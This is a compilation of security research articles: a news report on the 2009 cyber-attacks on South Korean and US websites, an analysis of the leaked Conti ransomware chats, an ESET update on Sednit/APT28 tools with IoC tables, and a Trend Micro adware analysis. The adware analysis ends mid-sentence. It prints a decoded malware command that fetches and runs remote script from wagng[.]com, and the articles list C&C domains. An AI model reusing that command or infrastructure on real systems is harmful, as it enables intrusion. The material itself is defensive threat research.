# Cyber Attackers Target South Korea and US South Korea sees presidential and bank websites paralysed as Pentagon and White House succeed in deflecting barrage. North Korean hackers are suspected of launching a cyber-attack on some of the most important government offices in the US and South Korea in recent days, including the White House, the Pentagon, the New York Stock Exchange, and the presidential Blue House in Seoul. The attack took out some of South Korea's most important websites, including those of the Blue House, the defence ministry, the national assembly, Shinhan bank, Korea Exchange bank, and the top internet portal Naver. Ahn Jeong-eun, a spokeswoman for the Korea Information Security Agency, said the websites of 11 organisations had either gone down or had access problems. The Associated Press reported that the White House, Pentagon, and New York Stock Exchange were also targeted but apparently deflected the electronic barrage. South Korea's Yonhap news agency said military intelligence officers were looking into the possibility that the attack may have been carried out by North Korean hackers and pro-North Korea forces in the South. It resembles an attack that began last Saturday on government websites in the US, including some that are responsible for fighting cyber-crime. John Bumgarner, director of research at the US Cyber Consequences Unit, said: "There's been a lot of chatter recently about cyber-war. The North Koreans may have felt they were not getting enough attention launching missiles so they moved into another potential warfare – cyber. It's a form of sabre rattling. But the big question is, did the North Koreans launch it themselves or did someone do it for them?" Yang Moo-jin, a professor at Seoul's University of North Korean Studies, said he doubted whether the North had the capability to knock down the websites. But Hong Hyun-ik, an analyst at the Sejong Institute think tank, said the attack could have been carried out by either North Korea or China, saying he "heard North Korea has been working hard to hack into" South Korean networks. South Korea's National Intelligence Service told a group of politicians today that it believes that North Korea or its sympathisers were behind the attacks, a source at the meeting told Associated Press. The agency refused to comment, but it confirmed it was working with US authorities to investigate the attack. It said it believed the attack was thoroughly prepared and committed "at the level of a certain organisation or state." The attacks appeared to be linked to problems on the US sites, although investigators were still unsure who was behind them, Ahn said. In the US, the treasury department, secret service, Federal Trade Commission, and transport department websites were all down at varying points over the 4 July holiday weekend. Some of the sites were still experiencing problems last night. The website of the Washington Post was also affected. Its computer security writer Brian Krebs blamed "malicious software" that ordered infected PCs to repeatedly visit targeted websites. A large proportion of the PCs involved were located in South Korea, he reported. An initial investigation in South Korea found that many personal computers were infected with a virus ordering them to visit official websites in South Korea and the US at the same time, the Korean information agency official Shin Hwa-su said. The US homeland security department confirmed that officials had received reports of "malicious web activity" and said they were investigating. Two government officials confirmed that the treasury and secret service sites had been brought down and said the agencies were working with their internet service provider to resolve the problem. Ben Rushlo, director of internet technologies at the website monitoring company Keynote Systems, called it a "massive outage." Denial of service attacks against websites are not uncommon and are usually caused when sites are deluged with internet traffic to take them offline. Documenting cyber-attacks against government sites is difficult and depends heavily on how agencies characterise an incident and how successful or damaging it is.
# Conti Leaks: Examining the Panama Papers of Ransomware By John Fokker, Jambul Tologonov · March 31, 2022 ## Introduction It isn’t often the whole world gets an inside look at the business operations of a top-tier cybercriminal group. Very early on in the Russian-Ukrainian Crisis, the predominantly Russian-based ransomware group Conti made a public statement expressing their loyalty to the Russian Administration. As a reaction to this statement and the current conflict, a Ukrainian security researcher operating under the Twitter handle @contileaks decided to publish years of Conti’s internal Jabber conversations online. The chats that were dumped spanned several years and consisted of thousands of messages, making this the “Panama Papers of Ransomware.” This wasn’t the first time the Conti gang got hit; last summer, a disgruntled affiliate posted their attack playbook online, which was full of very useful intelligence for our customers. Since it was public, the whole security community jumped to review the chats, and within hours, the first findings appeared on Twitter. Trellix was also quick to obtain the dataset and realized that this might be one of the largest “crowd-sourced cyber investigations” ever seen. What this means is that as a research team, you must devise a flexible dissemination strategy because findings by the crowd will appear online. It is a constant balance between verification of the published findings by others, investing in your own research goals, and adjusting some of these goals based on new information. Even though it was very tempting to dive down the rabbit hole immediately, we made sure to approach the dataset with a certain plan. ## Dissemination strategy: How to avoid the rabbit hole ### Attack infrastructure The first batch of leaked chats was only a couple of days old and ranged back quite some time. From the start, we realized that the criminals might have left valuable data on their attack infrastructure in the chats. We wrote a quick extraction script and compared the mentioned network artifacts to our current dataset and saw a lot of overlap. Not only did we see overlap with infrastructure we attributed to TrickBot and Cobalt Strike in the past, but a good portion of the systems we filtered out were still alive and kicking. To prevent any retaliation by the Conti group directed at our customers, blocking this infrastructure was a top priority. Some of these live systems were actually located in countries where we have a good relationship with Law Enforcement, so naturally, we reached out and made sure they got a heads-up to take appropriate measures quickly. The intelligence gathered from this was very actionable, but with a short shelf life; the next stop for us was tradecraft. ### TTPs and tradecraft Due to the severity of the leaks, there was a good chance that the Conti gang would rebrand or disperse its members across other ransomware families. In the prior leak where Conti’s playbook got dumped online, there were excellent descriptions of the different tools and scripts they would use to attack their victims. Looking at around 200 thousand leaked messages (Conti & TrickBot leaks combined) spanning the period 2020-2022, it was likely members would share custom TTPs or tradecraft amongst each other. By filtering tool names and command line structures, we found several examples where members discussed tool usage. Given the crowd-sourced nature of this dump, we would also like to thank The DFIR Report for their excellent findings published via their Twitter account. Affiliates might leave Conti and their network, but wherever they go, they will take along their tradecraft. Without an external intervention, like an arrest, we should anticipate that cybercriminals won’t stop their line of business, and thus we can expect to see their TTPs pop up in the future. However, through proper dissemination of the data, we were able to empower many of our XDR product teams to improve product efficacy against this tradecraft and incorporate our findings in MVISION Insights for customer visibility. Did we ignore the juicy conversations completely? Not at all. Fortunately, we have a native Russian-speaking research capability that made a huge difference while going down the rabbit hole. In the following section, we will highlight some of the findings we found interesting to share. ## Interesting chats For transparency purposes, we have included both the original Cyrillic and our human-translated text to allow readers to delve into the intricacies of some of Conti’s discussions. For readability purposes, we have put the original leaked messages into 1-2-1 conversations to make it easier to understand and follow the context. ### Conti as an enterprise It is fascinating how much Conti resembles an ordinary firm with an office building, HR, and other departments (testers, reversers, OSINT, coders, training team, etc.) with their regular salaries on the 15th and 30th of each month. Working hours are 10:00-18:00 Moscow time, five days a week. Stern is the boss who oversees everything and has 100 people on the payroll. “The weekends are the weekends. And nobody cancelled the vacations and sick days. All the other holidays - with the management's agreement,” says Salmon (recruiter) to new hire-coder Core. According to Bentley (manager), he worked there for a year, but the company has existed for more than 10 years. Below are excerpts from various chats that provide a good glimpse into Conti’s organization and the presence of physical office(s) in Russia. It is particularly interesting that in the Conti-TrickBot enterprise, they are very careful about malware code overlapping. They have external experts who scrutinize developed illegal software code and ensure the code fingerprints are unique to each team of coders. Avoiding overlap seems to be important to segregate activities of different sub-teams and make it difficult for security researchers to piece various Russian-speaking threat actors’ campaigns together. ### Possible government connections According to Angelo (tester/coder), Stern is closely affiliated with FSB or other structures and works for ‘Pu’. If Stern was not as almighty as God, they all would have ended up as REvil. The Conti leadership was concerned over the situation surrounding the REvil ransomware group. However, Conti believed Russian authorities arrested only the lowest-ranked members of REvil who were involved in the cash out. It is worth mentioning that Basil (tester/coder) was asked if he is from FSB; he subsequently replied he had serious intelligence related to Ukrainian border activity. This statement was made seven days prior to Russia’s incursion into Ukraine. In another conversation involving Target (manager), he stated if they indeed encrypted Credit One Bank, Troy (tester/crypter) would get a reward in the Kremlin. Occasionally, Conti seems to be asked to do so-called ‘pioneering’ (volunteering) work on a special request from one of two ‘offices’. As Soviet Pioneers (aka scouts), they do their fair share of work similarly to what Cozy Bear does. It is probable that one of the two offices is a so-called ‘Bolshoy Dom’ (Big House), an office building located at 4 Liteyny Avenue, which serves as the headquarters of Saint Petersburg’s local branch of FSB. In line with the geopolitical interests of Russia, Conti seems to have a ‘stop’ on China and gets terrified every time they see a Russian company or ‘OOO’ abbreviation (equivalent of ‘LLC’ in CIS countries) in the list of their victims. All these messages corroborate the fact that the Conti-TrickBot enterprise has a close relationship with the Russian government and/or acts in its interests. ### Collaboration with other Malware families #### Conti-Ryuk Collaboration with Ryuk seemed to have started around August 2020 when Stern said, “Ryuk is going to start as of Monday.” Target seemed responsible for updating Stern on how the Conti-Ryuk collaboration was going and if the Ryuk team was able to work together smoothly with his team. As per the chat between Stern, Target, and Troy, it is evident that from September 2020 to October 2020, Conti-Ryuk successfully executed attacks on Sopra Steria, Steelcase, Merieux NutriSciences, and Northern Trust and received 1.5 million (currency is unknown) in ransom payments. #### Conti-Maze The first mention of Conti-Maze potential connection dates back to July 2020, when Kevin (coder/crypter) says to Stern, “Prof took a different locker as far as I understood. Appears to be Maze. Said he has rolled it at night.” Then Kevin suggests to Prof (team lead/manager) that Conti-Maze negotiation should be handled by Stern himself as he is more experienced. He then says Maze will take 25-30%. It seems that Prof contacted developers of Maze and managed to get the ransomware build, which was later given to Conti reversers to figure out how it works and build a locker “not worse than Maze, and even better.” When it comes to Conti-Maze victims, it seems that both were involved in hacking Academi (former Blackwater), a U.S. private military company that provides services to the CIA. “We [expletive] Academi for almost a year,” says Target to Dandis (tester). Academi and the affiliated Triple Canopy, Olive Group Capital Ltd, Strategic Social LLC, and Constellis Group were all infected/hacked around mid-July 2020, and Maze had negotiations in one of the victim’s networks. Stern informed his subordinates that they are primarily looking for chats, contracts, PII, emails, and accounting, and that the request seems to be originating from one of the two ‘offices’ (see above, the chat where they mentioned Cozy Bear). Target reports to Stern they infected 30+ military companies along with some agencies, one of which is The US Environmental Protection Agency. #### Conti-Netwalker Mid-April 2021, Stern asked Bentley and Professor to add Netwalker’s Jabber account to their contact list. In mid-2020, Trellix wrote an in-depth blog on Netwalker explaining not only their malware but how we uncovered a large portion of their funds. In January 2021, Law Enforcement managed to take down Netwalker’s dark web site and arrested an affiliate based in Canada. After these interventions, it got really quiet around Netwalker. Given the appearance date of the Netwalker moniker within the Conti Jabber server, it is possible that Netwalker affiliates found a new home within the Conti group. According to Stern, Netwalker will use the TrickBot botnet to distribute their malware. Bentley was in charge of onboarding Netwalker to their admin panel, VNC, etc., and providing them with tested LNK/XLS files with payload to use in their campaigns. It looks like there was friction in the beginning of the collaboration, and Netwalker did not get the promised bonus from Stern, and Stern did not like that Netwalker was passing the Citrix’es given to him to other parties. Later in May 2021, Netwalker provided Stern the details of their two potential victims, Blackbaud, Inc. and Ellsworth Adhesives, and asked him to pay his team as they worked hard. Blackbaud, Inc. disclosed that they indeed paid ransom to the perpetrators but never mentioned who they actually were nor the amount of ransom they paid. #### Conti-Lockbit There is a hint of Conti-TrickBot potentially collaborating with the LockBit group. At the beginning of November 2021, Defender (manager) said to Stern that the account Brom was (re)created in Group 6 for LockbitSupp (an alias strongly associated with the LockBit ransomware group). Two weeks later, Mango (team lead/manager) told Stern that there was a misunderstanding with LockBit and asked him about the percentage of networks and revenue they would take from LockBit in case of successful collaboration. #### TrickBot, Buer, Amadey, and IcedID On June 26, 2020, Taker (tester) who just began the conversation with Stern asked questions around what TrickBot was and how it got started. “It started as a banking bot, gathering logs, logins, and passwords. It was a financial matter,” replied Stern. Later in October 2020, Target said to Troy, “They managed to connect Cobalt, Bazar, and TrickBot together. They figured that TrickBot is us.” On August 19, 2021, Professor got furious when somebody mistakenly included the TrickBot module designed to not infect CIS countries into Diavol ransomware (aka Conti) build, which allowed security researchers to attribute TrickBot and Conti teams to the same threat actor. Amadey and Buer were also mentioned multiple times in Conti chats as alternative loaders. In June 2020, Price (coder) said to Target, “Hof referred me to a hacker forum, I got access to it (for money) and copied Buer’s entire ins and outs from there.” As for the Amadey loader, it looks like the Conti team bought it, and every time Amadey required a ‘re-crypt,’ they would pay for that. Furthermore, Leo (coder) from the Conti gang appears to be the creator of the IcedID loader, which in May 2021 was ‘on the first place among infections.’ ### Conti’s victims: NGO, Medical institutions among others We went through the Conti leaked messages and compiled a list of their potential victims, which mainly includes EU and U.S. entities across various sectors. Most of the 103 potential victims we have identified were located via a Zoominfo URL Conti used to check a company’s size and revenue to determine a ransom amount to ask. “Found a way of buying a Zoominfo account, 2 managers for Buza, for his pricing research, the price is 2k,” advised Mango to Stern. Later, Stern said to Mavelek (coder/tester), “@ali has a script to check domains on Zoominfo to get data on the number of employees and the revenue of the company.” Between 2020-2022, Conti and its affiliates targeted and potentially attacked twelve healthcare organizations (clinics, hospitals, care houses including UHS, Prodemica, Geo Group), five educational institutions (schools, colleges, universities, etc.), a charitable organization, a governmental agency, and numerous companies in financial, retail, business services, manufacturing, and other industries. ### Call center services Among other departments, Conti has a team of callers. A caller is required to have a good knowledge of spoken English (level B2-C1) and be between the ages of 18 and 25. They are recruited by Conti’s HR team to work remotely for ‘an online store’ abroad. The callers earn $450-500 a month (salary increases by $100 - $200 - $300, depending on the success of the call center), working hours are 18:00-2:00 Moscow time (corresponding to usual working hours in the Western hemisphere), and they receive paid holidays but get no official contract as per the Labour Code. Below are Mango’s messages to Stern where he suggests some improvements around blackmailing/call-center and explains a concept which is ‘more or less’ working for them. ### Cybercriminal entrepreneurship (crypto and Forum) By the end of May 2021, Stern instructed Mango to get in touch with the administrators of exploit forums to see if they were willing to sell to Conti. “Also get a list of forums which can be considered for sale. XSS - find out a list of active users, per day, week, month. The same for Antichat and WWH,” continued Stern. Later, Mango replied that WWH had laughed out loud at their offer and that hxxp://korovka32xc3t5cg[.]onion and hxxp://crdclub4wraumez4[.]onion were available for sale. However, he advised those forums are rubbish, a hotbed of grifters, and instead of trying to buy a forum, they should create one on their own. The following is Mango’s suggestion to which he got a ‘go-ahead’ from Stern. In July 2021, Mango sent two design suggestions for the social network (aka forum) to Stern – one in dark-green and another in dark-blue color schemes. Stern approved the dark-green variant for the forum and suggested it was ready to make it available with minimum functionality. Below are the conversation extracts between Stern and Mango, full of entrepreneurial spirit, where they brainstorm what functionalities the forum should have and what might potentially work for it and what might not. Later, Mango suggested a potential domain for the forum and a logo for it: “matryoshka[.]space (already with the domain:)) and as a logo matryoshka but angry, in our color scheme, dark-green, and maybe draw a laptop next to it. In principle, matches the theme. We are one big system amongst the multiple other sub-systems in one place. And it is clear that it is a Russian theme. It is going to be cool and easy to remember, I think it will resonate with everyone.” ### Purchase of Carbon Black and SonicWall In March 2021, Stern said to Defender that he needs Carbon Black AV. In April 2021, Mango asked Professor if 60k (currency is unknown) is a lot for Carbon, 30k for the firm who buys and 30k for the Carbon itself for 250 PCs. A week later, it seems that Mango managed to purchase Carbon Black via a firm in France for 14.8k euros (plus 20% for BTC conversion and 30k for the firm as promised). However, Stern did not take Carbon Black AV, and in July 2021, Mango asked him why they aren’t doing anything with Carbon Black, to which Stern replied that originally Ryuk needed it and now for some reason they no longer do. In February 2021, Stern said to Swift (tester/coder) that he also needs SonicWall solution. He broadcast to all the contacts in Jabber, “Who can figure out the vulnerability in SonicWall and make a working scanner for it?” to which Ghost (tester/coder) replied, “This one, CVE-2020-5135: Critical SonicWall VPN Portal Stack-based Buffer Overflow Vulnerability, right?” The CVE-2020-5135 is a CVSSv3 9.4/10 critical vulnerability which was fixed around November 2020, and according to SonicWall PSIRT, there was no exploitation observed in the wild. Mid-April 2021, Mango advised Stern there are several ways to buy SonicWall (even a new model SMA 410), and later that they managed to buy new as well as refurbished ones. There is not much further information regarding SonicWall, except that in June 2021, Subzero (tester/coder) advised Stern that he “figured out the SonicWall.” ## Conclusion Financially motivated cybercriminals have a history of collaboration across borders and often stay away from politics. However, the current Russia-Ukraine conflict isn’t one to ignore, not even for cybercriminals, as they are forced to choose sides. The ContiLeaks and TrickBotLeaks were a direct result of this conflict. The leaks are of an unprecedented level and show the world how a government-backed, multimillion-dollar ransomware gang operates. In some fashion, it was almost like a normal business; wages needed to be paid, software licenses obtained, customer service initiated, and strategic alliances had to be formed. However, make no mistake, this business is dealing in top-level cybercrime, with a strategic alliance to an intelligence apparatus responsible for several nation-state attacks. In our line of work, we are often aware of technical inner workings, partnerships between malware families, and suspected nation-state relationships, but reading the internal conversations and having our suspicions confirmed was very insightful.
# Sednit Update: How Fancy Bear Spent the Year Over the past few years, the Sednit group has used various techniques to deploy their components on target computers. The attack usually starts with an email containing either a malicious link or malicious attachment. The Sednit group — also known as Strontium, APT28, Fancy Bear, or Sofacy — has been operating since 2004, if not earlier, with the main objective of stealing confidential information from specific targets. This article is a follow-up to ESET’s presentation at BlueHat in November 2017. Late in 2016, we published a white paper covering Sednit activity between 2014 and 2016. Since then, we have continued to actively track Sednit’s operations, and today we are publishing a brief overview of what our tracking uncovered regarding the group’s activities and updates to their toolset. ## The Campaigns Over the past few years, the Sednit group has used various techniques to deploy their components on target computers. We have seen a shift in the methods they use over the course of the year. Sedkit was their preferred attack vector in the past, but that exploit kit has completely disappeared since late 2016. The DealersChoice exploit platform has been their preferred method since the publication of our white paper, but we saw other methods being used by this group, such as macros or the use of Microsoft Word Dynamic Data Exchange. Generally, these campaigns will try to install Seduploader on the target system. Seduploader is a first-stage backdoor that can be used to assess the target’s importance and download additional malware. If the system is indeed of interest to them, it is likely that Sednit’s operators will eventually install Xagent on it. ### Sedkit (Sednit Exploit Kit) Sedkit was an exploit kit used exclusively by the Sednit group. During its lifetime, Sednit leveraged vulnerabilities in various persistently vulnerable applications, mostly Adobe Flash and Internet Explorer. When Sedkit was first discovered, potential victims were redirected to its landing page through a watering-hole scheme. Following that campaign, their preferred method consisted of malicious links embedded in emails sent to Sednit’s targets. Between August and September 2016, we saw several different email campaigns trying to lure recipients to a Sedkit landing page. Sedkit’s targets at that time were mostly embassies and political parties in Central Europe. The email tries to fool its recipient into believing that the link will ultimately lead to an interesting news story. In this case, the article is supposedly about an earthquake that struck near Rome in August 2016. The last campaign using Sedkit was observed in October 2016. The disappearance of Sedkit follows a trend we have seen with other exploit kits. Most of these were relying on exploits for older versions of Internet Explorer and/or Flash to perform drive-by downloads. The decline of the majority of exploit kit operations during 2016, including Sednit, could well be attributable to the code hardening performed by Microsoft and Adobe. ### DealersChoice In August 2016, Palo Alto Networks blogged about a new platform used by Sednit to breach a system initially. This platform, called DealersChoice, has the ability to generate malicious documents with embedded Adobe Flash Player exploits. There are two variants of this platform. The first one checks which Flash Player version is installed on the system and then selects one of three different vulnerabilities. The second variant will first contact a C&C server which will deliver the selected exploit and the final malicious payload. This platform is still in use today by Sednit and, like Sedkit, tracks international news stories and includes a reference to them in their malicious emails, in an attempt to lure the target into opening the malicious document attachment. ### Macros, VBA, and DDE Besides Sedkit and DealersChoice, Sednit’s operators also continued using proven ways to compromise systems by relying on macros in Microsoft Office documents. One campaign that grabbed a lot of attention targeted an Eastern European MFA in April 2017. The attachment contained code exploiting two zero-days: one local privilege escalation (LPE) and one remote code execution (RCE). In October 2017, SensePost researchers wrote an article on a Microsoft Word method called the Dynamic Data Exchange (DDE) protocol. DDE allows a Word table to be updated with data from an Excel document. It can also be used to execute arbitrary code if the user ignores several warning prompts. Following the publication of that article, it did not take long to discover Sednit campaigns using DDE to execute code from a C&C server. This is only a brief overview of how the Sednit operators have been trying to compromise new victims since the publication of our white paper. They are still actively targeting governments worldwide. ## Tooling The previous section shows how the Sednit group spent the last year from the infection-vector point of view. This section describes changes that this group made to their toolset. Over the years, the group developed many components to infect, gather, and steal information from their targets. Some of these components have disappeared, while others have been improved. ### Seduploader Seduploader serves as reconnaissance malware. It is made up of two distinct components: a dropper and the persistent payload installed by this dropper. Seduploader is still used by the Sednit group but has received a few improvements. During the April 2017 campaign, a new version of Seduploader came out with features such as a screenshot function or the ability to execute loaded code directly from the C&C server. ### Xtunnel Xtunnel is a network proxy tool that can relay any kind of network trace between a C&C server on the Internet and an endpoint computer inside a local network. Xtunnel is still used by the Sednit group. ### Sedkit Sedkit is the Sednit exploit kit; it’s used only for targeted attacks, starting with targeted phishing emails with URLs that spoof legitimate URLs. October 2016 is the last time we’re aware that Sedkit was used. ### Sedreco Sedreco serves as a spying backdoor; its functionalities can be extended with dynamically loaded plugins. We have not seen this component since April 2016. ### USBStealer USBStealer serves as a network tool that extracts sensitive information from air-gapped networks. We have not seen this component since mid-2015. ### Xagent Xagent is a modular backdoor with spying functionalities such as keystroke logging and file exfiltration. Xagent is the group’s flagship backdoor and is heavily used in their operations. We saw a new version of the Windows version of Xagent last February. Version 4 of Xagent came with new techniques for string obfuscation, significantly improving the way in which strings are encrypted. The AgentKernel can receive commands from the C&C server to interact with modules and channels. A new feature implemented in the WinHttp channel is a Domain Generation algorithm (DGA) for fallback domains. The development of the backdoor with the addition of new features and compatibility with all major platforms makes Xagent the core backdoor used by the group. ### DealersChoice DealersChoice is a platform that generates malicious documents containing embedded Adobe Flash files. This new component appeared in 2016 and is still in use. ### Downdelph Downdelph is a lightweight downloader developed in the Delphi programming language. Its period of activity was from November 2013 to September 2015, and there have been no new variants seen since. ## Summary The Sednit group is still an active group. The main entry point for their flagship backdoor is phishing emails, and they seem to have a great deal of success with that technique. Xagent is the core of their operation, which we can now find on all major platforms, mobile or not. ## IoCs ### Table 2. Phishing | Phishing document | SHA-1 | ESET detection | |-------------------|-------|----------------| | Bulletin.doc | 68064fc152e23d56e541714af52651cb4ba81aaf | Win32/Sednit.AX | | OC_PSO_2017.doc | 512bdfe937314ac3f195c462c395feeb36932971 | Win32/Exploit.Agent.NUB | | NASAMS.doc | 30b3e8c0f3f3cf200daa21c267ffab3cad64e68b | Win32/Exploit.Agent.NTR | | ... | ... | ... | ### Table 3. Seduploader Samples | SHA-1 | ESET detection | C&C server | |-------|----------------|------------| | 9f6bed7d7f4728490117cbc85819c2e6c494251b | Win32/Sednit.AX | servicecdp[.]com:87.236.211[.]182 | | ... | ... | ... | ### Table 4. Xagent Samples | SHA-1 | ESET detection | C&C server | |-------|----------------|------------| | 6f0fc0ebba3e4c8b26a69cdf519edf8d1aa2f4bb | Win64/Sednit.Z | movieultimate[.]com | | ... | ... | ... |
# Exposing Modular Adware: How DealPly, IsErIk, and ManageX Persist in Systems **Posted on:** April 16, 2020 at 4:57 am **Posted in:** Bad Sites, Malware **Author:** Trend Micro Adware isn’t new and they don’t spark much interest. A lot of them are overlooked and underestimated because they’re not supposed to cause harm — as its name suggests, adware is advertising-supported software. However, we have constantly observed suspicious activities caused by adware, with common behaviors that include access to seemingly random domains with alternating consonant and vowel names, scheduled tasks, and in-memory execution via WScript that has proven to be an effective method to hide their operations for at least four years. We will walk you through our analysis of three adware events that we eventually linked and variously named as Dealply, IsErIk, and ManageX. We studied these events from their persistence mechanisms to repetitive malicious domain access via root cause analysis (RCA) chains and uncovered several artifacts that proved overlaps in the three infections. This research also discusses two case studies that show how adware could remain in systems for weeks, if not months, to complete its routine, and how they arrive in the system. The adware DealPly (sometimes also referred to as IsErIk) and malicious Chrome extension ManageX, for instance, can come bundled under the guise of a legitimate installer and other potentially unwanted applications (PUAs). Because various write-ups cover Dealply or IsErik separately, the technical discussion and representation of both are discussed separately. Our analysis also reveals how these adware variants use various stealthy and suspicious techniques to perform their routines. IsErik and Dealply, for instance, could load a piece of code coming from a remote server. Although we did not observe malware activities through the adware, we cannot discount the possibility that they could be used maliciously. ## Initial Indicators Among the thousands of logs our security analysts process each day, three persistent ones stood out due to the volume of alerts they generated and their repetitiveness. Aside from the reoccurring detections, these were also widely affecting a lot of other Trend Micro customers subscribed to Managed XDR. 1. Here’s a sample URL; many of the URLs we found related to this case looked like this. We eventually linked this to JS.MANAGEX (a browser extension also known as Bujo). Find the full list of observed domain names and other indicators of compromise (IoCs) in our appendix. `hxxp[:]//nusojog[.]com/update?os=win&arch=x86&nacl_arch=x86-64&prod=chromiumcrx&prodchannel=&prodversion=63.0.3235.0&lang=en-US&acceptformat=crx2,crx3&x=id%3Djghiljaagglmcdeopnjkfhcikjnddhhc%26v%3D14.1.4.58%26installsource%3Dnotfromwebstore%26uc%26ap%3Daflt%2521c5-47c5-9d8a-a9b5b1143f1b%2526xlp_sess_guid%253D2806aaaa-21c5-47c5-9d8a-a9b5b1143f1b%2526client%253Dchromium%2526cd%253D2XzuyEtN2Y1L1QzuyDyE0B0E0FyByDyB0EtC0EyCzz0E0D0DtN0D0Tzu0StByBtBzztN1L` 2. The scheduled tasks either imitate search engines (e.g., Yahoo! Powered {random name}.job like with IsErIk), or use a name that looks like a GUID like with DealPly. 3. A JavaScript saved as a .txt file (detected by Trend Micro as Adware.JS.DEALPLY.SMMR) is also executed via WScript with hex-encoded parameters and a common string “—IsErIk”. Below we will look into two case studies that exhibited the abovementioned indicators and summarize the noteworthy points in our analyses of their routines. ## Case Study #1: Root Cause Analysis (RCA) – February 2020 Infection Illustrated below is a simplified version of the RCA of a recent infection in a Managed XDR-monitored endpoint. It shows how Dealply, ManageX, and other PUAs such as Segurazo Fake AV can be bundled together in one installation. The infection began with the file called `email_open_view_pro_free.exe`, which, judging from the way it was launched via explorer.exe, was manually executed by the user. Its descriptive filename also suggests that it could have been downloaded from the internet as a seemingly legitimate installer or freeware. The `email_open_view_pro_free.exe` file created 2 new processes: - `Segurazo.exe` – an installer that we know is a fake AV (detected as PUA.MSIL.Segurazo.SMCS); “segurazo” also means “security” in Portuguese. - `danuci.exe` – created furthermore indicators that we later on recognized as DealPly. It should be noted that DealPly files are normally named like this. They seem random, with alternating consonants and vowels. Names like “danuci” and “netenare” are names that could be suspected as DealPly right away just by looking at their filenames. The file `netenare.exe` then creates two .dat files and joins them to form `syncversion.exe`, a file we also detect as DealPly. The executable also initiates access to the blocked server `pajuwu[.]com`, a domain known to be generated by DealPly binaries. In each of these nodes, there were little details not shown in the graphical representation that we think are important to mention. For instance, aside from `netenare.exe`, `danuci.exe` also created files like the following: - `c:\users\<user>\appdata\roaming\mozilla\profiles\m9kxv7k5.default-release\extensions\{24436206-088d-4a1a-8d0e-cf93ca7a2d23}.xpi` - `c:\users\<user>\appdata\local\chromium\user data\default\local storage\chrome-extension_ncjbeingokdeimlmolagjaddccfdlkbd_0.localstorage-journal` - `c:\users\<user>\appdata\local\chromium\user data\default\local storage\chrome-extension_ncjbeingokdeimlmolagjaddccfdlkbd_0.localstorage` - `c:\users\<user>\appdata\local\chromium\user data\default\local storage\chrome-extension_jghiljaagglmcdeopnjkfhcikjnddhhc_0.localstorage-journal` A quick Google search links the two Chrome AppIDs to domains we know are being used by the ManageX Chrome extension. ManageX uses a malicious extension to the Chrome browser to track users’ browser activities and communicate with C&C domains. Further information about ManageX can be found in our virus report, including the contents of the Chrome extension such as various permissions and related C&C servers. ## Case Study #2: Timeline of an Older Infection (2016-2017) In another case we looked into, we observed the same domains across the environment. Since these were easily caught with our filters and we were already quite familiar with the indicators, we were able to perform in-depth analyses on several of the endpoints. Based on our findings, the hosts within the environment got infected as early as 2016. Despite being relatively dated, we thought that an in-depth analysis of this 2016 infection was still relevant since it gave us a better understanding of the adware’s progression and timeline. The first thing we noticed was the presence of both DealPly and IsErik’s scheduled tasks. Based on previously known infections, we usually see DealPly create a .job filename that looks like a GUID, while IsErik usually uses something related to a search engine, which we saw in the endpoint we were looking at. After identifying the relevant time ranges, we expanded our search on the file system. The search found several other suspicious files in the same endpoint that we think are related. After tracing back the file timestamps, we found that the first suspicious indicator created in June 2016 was `%AppData%\Local\{F440C21C-D0E8-AEA4-BD70-8B4C991877D4}`, and it came with several other things: Using the timeline from the NTFS MFT (master file table), we were able to pinpoint one file for analysis: `conf.db`. By itself, it is non-malicious and only contains unknown MD5 hashes. It is a possible indication that this is bundled with other installations, similar to Case Study #1. To understand what happened during this installation, we need to analyze the events beginning with the scheduled task. This is what “Yahoo! Powered ronof.job” will execute: ``` C:\Windows\system32\wscript.exe “C:\ProgramData\{9D025861-1740-D2A7-9186-4CE50BC4C72B}\sole.txt” “687474703a2f2f7761676e672e636f6d” “433a5c50726f6772616d446174615c7b39443032353836312d313734302d443241372d393138362d3443453530424334433732427d5c6e69666f7261” “433a5c50726f6772616d446174615c7b39443032353836312d313734302d443241372d393138362d3443453530424334433732427d5c6e65746564656e” “//B” “//E:jscript” “–IsErIk” ``` After decoding this, it will return with: ``` C:\Windows\system32\wscript.exe “C:\ProgramData\{9D025861-1740-D2A7-9186-4CE50BC4C72B}\sole.txt” “http://wagng[.]com” “C:\ProgramData\{9D025861-1740-D2A7-9186-4CE50BC4C72B}\nifora” “C:\ProgramData\{9D025861-1740-D2A7-9186-4CE50BC4C72B}\neteden” “//B” “//E:jscript” “–IsErIk” ``` This means that when the scheduled task is triggered, it will run `C:\ProgramData\{9D025861-1740-D2A7-9186-4CE50BC4C72B}\sole.txt` as JavaScript via wscript.exe. During the analysis, this file was non-existent. It is assumed that it was deleted after execution. The file `sole.txt` is then called with the following parameters: - `http://wagng[.]com` - `C:\ProgramData\{9D025861-1740-D2A7-9186-4CE50BC4C72B}\nifora` - `C:\ProgramData\{9D025861-1740-D2A7-9186-4CE50BC4C72B}\neteden` - `–IsErIk` Trend Micro detects similar JavaScripts as Adware.JS.DEALPLY.SMMR, also known as advanced persistent adware or IsErIk externally. The first thing it checks is if the JavaScript was called with the last argument “—IsErIk”. If not, the script execution terminates. Based on its code, the file `aowLC` serves as an indicator of the adware’s last update time. It uses the file’s last modified date for this purpose. If all conditions are met, the script proceeds on the rest of its code where these two files were read: - `hdat2` – contains hex-encoded strings that represent the parameters passed to a URL. (i.e., “?v=2.2&pcrc=167877582&rv=4.0”) - `hdat1` – the contents of this file will be sent to the server specified as a parameter when the script was called. The script’s main purpose is to communicate with the server specified as a parameter (wagng[.]com in this case) via HTTP POST and to execute another script in memory when the server responds. Response from the server is decoded using its custom decryption routine and then ran as a new function. We noticed in the July 2, 2016 entry that `aowLC` (the infection marker) was created exactly 12 hours after the scheduled task, indicating the first time the IsErIk script was executed. (This scheduled task was likely set to run every 12 hours.) At this point, it appears the script could not get any response from the server, which is why `aowLC` was the last created file that day. However, we can infer that on July 30 and November 18, the script successfully contacted the server, which consequently led to the creation of DealPly-related files. ## Layers of Obfuscation To understand why an adware variant would use such complex installation techniques, we examined the other available remaining files. In this list, we found several encrypted PE files that were particularly interesting. For one thing, some of them looked like this: Our analysis revealed that `rino.dat` and `rino (1).dat` are both updated copies of the DealPly installer. Similar to `netenare.exe` in Case Study #1, it creates two .dat files and joins them to form an executable file. These are the most common filenames used for the newly formed executables: - `Sync.exe` - `Synctask.exe` - `Syncversion.exe` - `Updane.exe` - `Updater.exe` - `UpdTask.exe` After this, a scheduled task will be created to run the new executable file on schedule. In the 2017 timeline (January 18 to be exact), the file created was `sync.exe` with the corresponding scheduled task of 